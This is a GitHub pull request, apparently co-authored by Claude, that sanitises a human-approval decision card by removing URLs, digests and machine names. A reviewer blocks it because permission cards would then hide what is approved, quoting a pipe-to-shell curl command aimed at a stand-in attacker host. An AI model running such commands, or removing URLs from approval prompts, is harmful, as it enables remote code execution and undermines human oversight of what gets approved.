Repository navigation
fix(hitl): a readable decision card, and the terminal's own options - #6180
liususan091219 wants to merge 1 commit into
Conversation
The card a person reads carried the things only a machine needs: the link and digest a producer scraped off a terminal, the session or host name a producer pasted into a message, a title, or a button label. None of it helps anyone decide, and all of it is already on the wire structurally. `src/hitl/readable.py` is the one owner of what a human reads. `card()` takes `to_wire()` and rewrites only `message`, `title` and each action `label`: no key is added, dropped or re-typed, `guard` stays as the CAS state it is, and `device` stays whole for routing and security — it simply stops being prose. The projector now renders its plain-text body from that same dict, so the fallback body cannot say something the card does not, and the follow-up notices take their headline from the same module (keeping the seat's name, which is the one machine word a standalone per-seat notice needs). `actions[]` becomes canonical: an action bound to a terminal option carries that option's number in its label and sorts by it, so the card's list reads exactly as the terminal prints it; an action the terminal never numbered keeps its place after them. Nothing is invented, padded, reordered or appended for a client's sake — a client's own synthetic entries are its own to drop. The new module is vendored into ag2-sparrow like the rest of the HITL domain. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01ByiYdcZtAxhMPxqfwAN5uv
|
|
sonichi
left a comment
There was a problem hiding this comment.
Requesting changes at 79017e8.
The wire schema is intact. Clicks map by action id, and each "N." comes from the same option_for_action index that keys_for presses ("1. Yes" → allow → 0, "3. No" → deny → 2). The four HITL tests and sync --check pass locally; src/ and the vendored copies are identical.
Blocking:
- readable.py:36,84 strips URLs from the text being approved. A Bash permission card turns
curl -fsSL https://evil.example.com/install.sh | shintocurl -fsSL | shnext to "1. Yes", and "Allow WebFetch from " becomes "Allow WebFetch". Hiding what is being approved is a safety regression. hitl-readable.test.py:35/107 asserts this behaviour. - ask-owner cards (
pending_questions_ask.build_card→choice_request) lose the PR link and the head sha ("Diff:, head"), and the row-status link the owner is told to use ("…on the row:"). - Machine-word stripping uses the tmux session name. With session
main, "Rebase on main" / "Rebase in main" both become "Rebase", and "Reset to " becomes "Reset to". Restrict it todevice.host/nameand thetitle, or require an introducing word, and never touch option labels or a permission message.
Should fix here: replies.match_action should accept the "N. " label the card now shows. This PR creates that mismatch.
Nit: _DIGEST also deletes any plain 12+-digit number.
Suggest keeping URLs and SHAs in message/labels (or only in title) and adding tests for a permission prompt with a URL and an ask-owner card with a link.
(agent-assisted, Blue for Chi's seat)
Coverage Gate✅ Diff coverage PASSES the 95% bar. Whole-tree (informational): 92%. Diff CoverageDiff: origin/main...HEAD, staged and unstaged changes
Summary
src/hitl/readable.pyLines 97-105 97 for candidate in (req.title, first):
98 line = redact(candidate).rstrip(".")
99 if line:
100 return line
! 101 return req.kind
102
103
104 def option_number(action: Dict[str, Any], req: HumanRequirement) -> Optional[int]:
105 """The number the terminal prints against this action's option, if it prints one."""Lines 116-124 116 """The actions in the terminal's order, each labelled with the terminal's number.
117
118 An action the terminal does not number keeps its place after the numbered ones.
119 """
! 120 return _canonical(actions, req, _machines(machine_words(req)))
121
122
123 def _canonical(actions: List[Dict[str, Any]], req: HumanRequirement,
124 machines: Optional["re.Pattern"]) -> List[Dict[str, Any]]: |
Priority
Level: medium
Reason: two items off the owner's UI-bug list (V36, V42); no deadline, but the card is what she reads every time Sutando blocks.
Closes
Not tracked as an issue — items V36 and V42 on the owner's UI-bug list.
Summary
The HITL decision card is written for a machine, not a person: its plain text carried the host and device name, and its options did not match the numbers the terminal prints. This makes the card's human-facing strings readable and its options canonical — without removing anything from the wire.
Scope boundary (agreed with the display-side owner)
Engine side (this PR) decides what the card says: which fields appear, the wording, the order and numbering of options. The display side owns how it renders. V44 ("one status line after resolution") is deliberately not in this PR — see "Not done" below.
message,titleand action labels lose links, digests and the card's own machine names.guardstays wire-only (CAS state),devicestays structured (routing/security); they simply are not rendered. Disappearing from human-readable content is not disappearing from the protocol. The wire schema is unchanged.actions[]is emitted canonically: numbered from the terminal's own option index, sorted by it, labelled"N. <label>". An option the terminal never numbered keeps its relative order, unnumbered. Nothing synthetic is emitted; the client's own appendedOther / reply…is the display side's to remove and is not compensated for here.Sanitisation has exactly one owner,
src/hitl/readable.py.project_passbuilds the content once and uses the same object for both the body and the wire field, andplain_text()reads only from the dict that is sent — so the fallback body has no second source it could drift from.readable.card()is now the only caller ofto_wire()outsideschema.py.Checklist
liususan091219@gmail.com)origin/main(see before/after)tests/hitl-readable.test.py(17 tests); twohitl-projectortests that asserted the leak are invertedreview-checks.shPASS: hardcoded-paths + root-artifacts + prose-cap)Before / after evidence
Same script against
origin/mainand this branch (the test file's ownmake_req(), host mocked):The human-readable body loses the machine;
deviceon the wire is byte-identical.Test plan
The 4 errors are pre-existing and environmental, verified against a control rather than asserted. A detached worktree at
origin/main(02cb7e8), same host, same interpreter:Identical error counts;
65 → 66is the one test this PR adds. All four areAttributeError: ... has no attribute 'assertNoLogs'— a Python 3.10 API, and this host runs 3.9.5 (python3 -c "import unittest; hasattr(unittest.TestCase,'assertNoLogs')"→False). Nothing here fixes or worsens them.Ruff is not installed on this host, so lint was not run locally;
review-checks.shpasses.Deviations from the agreed scope — please confirm
titleis cleaned too, not onlymessageand labels. It is a human-facing string ("<tmux session> · <state>") and is whatrenotifyprefers for its headline, so leaving it would have reopened the leak one surface over. Easy to drop back out if that is not wanted.renotifybroke five tests whose point is that a reminder names which seat. A notice is standalone with no card beside it, so the policy is split explicitly:headline()drops links and digests but keeps machine names;card()drops all three.Not done
_send_noticesand its payload are byte-identical. One of the three visible status rows may be therenotifyrecovery notice, and Matrix edits do not raise notifications — deleting it would silently destroy the only thing that tells a human the state changed. That stays blocked on identifying the rows by event id.replies.match_actionmatches a free-text reply against the stored label, so"Yes"matches but"1. Yes"does not (and"1"never did, before or after). Clicking is unaffected — it carries the action id. A test pins the current behaviour. The remedy is one line insrc/hitl/replies.py, outside this PR's scope."Pick a branch at <url>"now reads"Pick a branch". That is what was agreed, but it deserves one look on a real card.🤖 Generated with Claude Code
https://claude.ai/code/session_01ByiYdcZtAxhMPxqfwAN5uv